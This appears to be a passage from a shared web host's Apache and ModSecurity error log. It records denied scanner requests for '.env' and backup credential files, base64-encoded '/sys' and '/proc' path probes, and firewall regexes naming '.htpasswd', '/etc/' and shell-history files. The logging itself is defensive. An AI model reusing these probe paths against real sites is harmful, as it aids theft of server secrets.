57.141.14.16:50198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:44.419995 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.16:50198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:44.567960 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:44.568442 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:15:44.601328 2026] [security2:error] [pid 646876:tid 647008] [client 185.177.72.9:14892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3ysNyTkdrNlD40tSGiQwAAAAA"] [Sat Jun 13 18:15:44.723488 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.27:21178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:44.723948 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.27:21178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:44.752809 2026] [security2:error] [pid 648189:tid 648418] [client 38.248.95.248:48052] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "fredrocker.xfactorbaseballleague.com"] [uri "/.env"] [unique_id "ai3ysFWSojQL4F7upKBWZwAAAMU"] [Sat Jun 13 18:15:44.784328 2026] [security2:error] [pid 648189:tid 648460] [client 38.248.95.248:48064] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "fredrock-racing.xfactorbaseballleague.com"] [uri "/.env"] [unique_id "ai3ysFWSojQL4F7upKBWaQAAAOo"] [Sat Jun 13 18:15:44.870476 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:14898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.bak"] [unique_id "ai3ysFWSojQL4F7upKBWcwAAAMc"] [Sat Jun 13 18:15:44.911970 2026] [security2:error] [pid 648189:tid 648369] [client 38.248.95.248:48070] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "fredrock-racing.xfactorbaseballleague.com"] [uri "/.env.backup"] [unique_id "ai3ysFWSojQL4F7upKBWdgAAAJU"] [Sat Jun 13 18:15:44.916141 2026] [security2:error] [pid 646876:tid 647077] [client 38.248.95.248:48180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "fredrocker.xfactorbaseballleague.com"] [uri "/.env.bak"] [unique_id "ai3ysNyTkdrNlD40tSGiTwAAAEU"] [Sat Jun 13 18:15:44.924359 2026] [security2:error] [pid 648189:tid 648424] [client 38.248.95.248:48194] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "fredrocker.xfactorbaseballleague.com"] [uri "/jquery.js.map"] [unique_id "ai3ysFWSojQL4F7upKBWgQAAAMs"] [Sat Jun 13 18:15:44.924515 2026] [security2:error] [pid 648189:tid 648424] [client 38.248.95.248:48194] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "fredrocker.xfactorbaseballleague.com"] [uri "/jquery.js.map"] [unique_id "ai3ysFWSojQL4F7upKBWgQAAAMs"] [Sat Jun 13 18:15:44.924784 2026] [security2:error] [pid 646876:tid 647102] [client 38.248.95.248:48096] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "fredrocker.xfactorbaseballleague.com"] [uri "/.env.backup"] [unique_id "ai3ysNyTkdrNlD40tSGiVAAAAF4"] [Sat Jun 13 18:15:44.940596 2026] [security2:error] [pid 648189:tid 648448] [client 38.248.95.248:48064] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "fredrock-racing.xfactorbaseballleague.com"] [uri "/.env.bak"] [unique_id "ai3ysFWSojQL4F7upKBWdQAAAOI"] [Sat Jun 13 18:15:44.970334 2026] [security2:error] [pid 648189:tid 648486] [client 38.248.95.248:48070] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "fredrock-racing.xfactorbaseballleague.com"] [uri "/scripts/html5shiv.js.map"] [unique_id "ai3ysFWSojQL4F7upKBWjAAAAQQ"] [Sat Jun 13 18:15:44.970485 2026] [security2:error] [pid 648189:tid 648486] [client 38.248.95.248:48070] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "fredrock-racing.xfactorbaseballleague.com"] [uri "/scripts/html5shiv.js.map"] [unique_id "ai3ysFWSojQL4F7upKBWjAAAAQQ"] [Sat Jun 13 18:15:45.010374 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:14898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3ysVWSojQL4F7upKBWjwAAAM8"] [Sat Jun 13 18:15:45.078663 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:45.079077 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:45.146486 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:14898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.backup"] [unique_id "ai3ysVWSojQL4F7upKBWmgAAAN4"] [Sat Jun 13 18:15:45.209031 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.99:63672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:45.209465 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.99:63672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:45.313042 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.42:64136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:45.313467 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.42:64136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:45.329701 2026] [security2:error] [pid 646876:tid 646981] [remote 17.241.75.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ysdyTkdrNlD40tSGicAAADGY"] [Sat Jun 13 18:15:45.438094 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:14898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.old"] [unique_id "ai3ysVWSojQL4F7upKBWrAAAAJg"] [Sat Jun 13 18:15:45.587649 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:15:45.588123 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:15:45.723584 2026] [security2:error] [pid 648189:tid 648368] [client 185.177.72.9:14898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.docker/.env"] [unique_id "ai3ysVWSojQL4F7upKBWtQAAAJQ"] [Sat Jun 13 18:15:45.851187 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.8:34149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:45.851600 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.8:34149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:46.160037 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:15:46.160495 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:15:46.196937 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.83:48460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:46.197193 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.83:48460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:46.198090 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.95:61553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:46.198519 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.95:61553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:46.246797 2026] [lsapi:warn] [pid 648189:tid 648448] [client 47.79.201.173:59408] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:15:46.246820 2026] [lsapi:warn] [pid 648189:tid 648448] [client 47.79.201.173:59408] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:15:46.304492 2026] [security2:error] [pid 646876:tid 646995] [remote 17.22.245.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ystyTkdrNlD40tSGingAATnQ"] [Sat Jun 13 18:15:46.402682 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.113:28824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:46.403112 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.113:28824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:46.564672 2026] [security2:error] [pid 646876:tid 646903] [remote 17.246.23.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ystyTkdrNlD40tSGipAAAexg"] [Sat Jun 13 18:15:46.587705 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:46.587975 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:46.612702 2026] [security2:error] [pid 648189:tid 648266] [remote 17.241.75.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yslWSojQL4F7upKBW0wAA1yw"] [Sat Jun 13 18:15:46.619178 2026] [access_compat:error] [pid 648189:tid 648279] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:46.619446 2026] [access_compat:error] [pid 648189:tid 648279] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:46.862459 2026] 